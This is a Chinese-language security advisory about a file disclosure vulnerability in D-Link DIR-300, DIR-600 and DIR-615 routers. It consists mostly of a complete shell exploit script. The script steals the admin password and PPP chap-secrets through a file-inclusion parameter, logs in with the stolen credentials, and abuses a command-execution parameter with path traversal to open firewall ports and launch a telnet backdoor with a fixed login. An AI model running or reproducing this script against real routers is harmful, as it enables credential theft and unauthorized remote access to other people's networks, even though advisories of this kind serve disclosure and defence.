发布日期:2013-12-02
更新日期:2013-12-04
受影响系统:
D-Link DIR-615
D-Link DIR-300
描述:
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BUGTRAQ ID: 64043
D-Link DIR是系列路由器产品。
多个D-Link DIR产品在实现上存在本地文件泄露漏洞,可使攻击者获取敏感信息。
<*来源:tytusromekiatomek (tytusromekiatomek@hushmail.com)
*>
测试方法:
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警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/bin/sh
if [ -z "$1" ]; then
echo "d-link DIR-300 (all), DIR-600 (all), DIR-615 (fw 4.0)";
echo "exploited by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b";
echo "usage: $0 [router address] [telnet port]";
exit 0;
fi;
if [ -z "$2" ]; then
TPORT=3333;
else
TPORT=$2;
fi
UPORT=31337;
echo "Trying $1 ...";
HTTPASSWD=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"; | grep -A1 "<center>" | tail -1 |
sed -e "s/\t//g ; s/^\([^:]*\):\([^:]*\)$/\1\n \2/g"`;
if [ ! -z "$HTTPASSWD" ]; then
L=`echo $HTTPASSWD | cut -d' ' -f1`;
P=`echo $HTTPASSWD | cut -d' ' -f2`;
echo "found username: $L";
echo "found password: $P";
curl -d "ACTION_POST=LOGIN&LOGIN_USER=$L&LOGIN_PASSWD=$P" -sS "http://$1/login.php"; | grep -v "fail"
1>/dev/null;
if [ $? -eq 0 ]; then
curl -sS
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i
eth0.2 -p tcp --dport $TPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;
curl -sS
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i
eth0.2 -p tcp --dport $UPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;
curl -sS
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/telnetd -p $TPORT -l
/usr/sbin/login -u hacked:me&set/runtime/syslog/sendmail=1" 1>/dev/null;
echo "if you are lucky telnet is listening on $TPORT (hacked:me) ..."
curl -sS "http://$1/logout.php"; 1>/dev/null;
fi
fi
CHAP=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/etc/ppp/chap-secrets"; | grep -A1 "<center>" | sed -e
"s/<center>//g"`;
if [ ! -z "$CHAP" ]; then
echo "found chap-secrets: $CHAP";
fi
echo "Bye bye.";
exit 0;
建议:
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厂商补丁:
D-Link
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: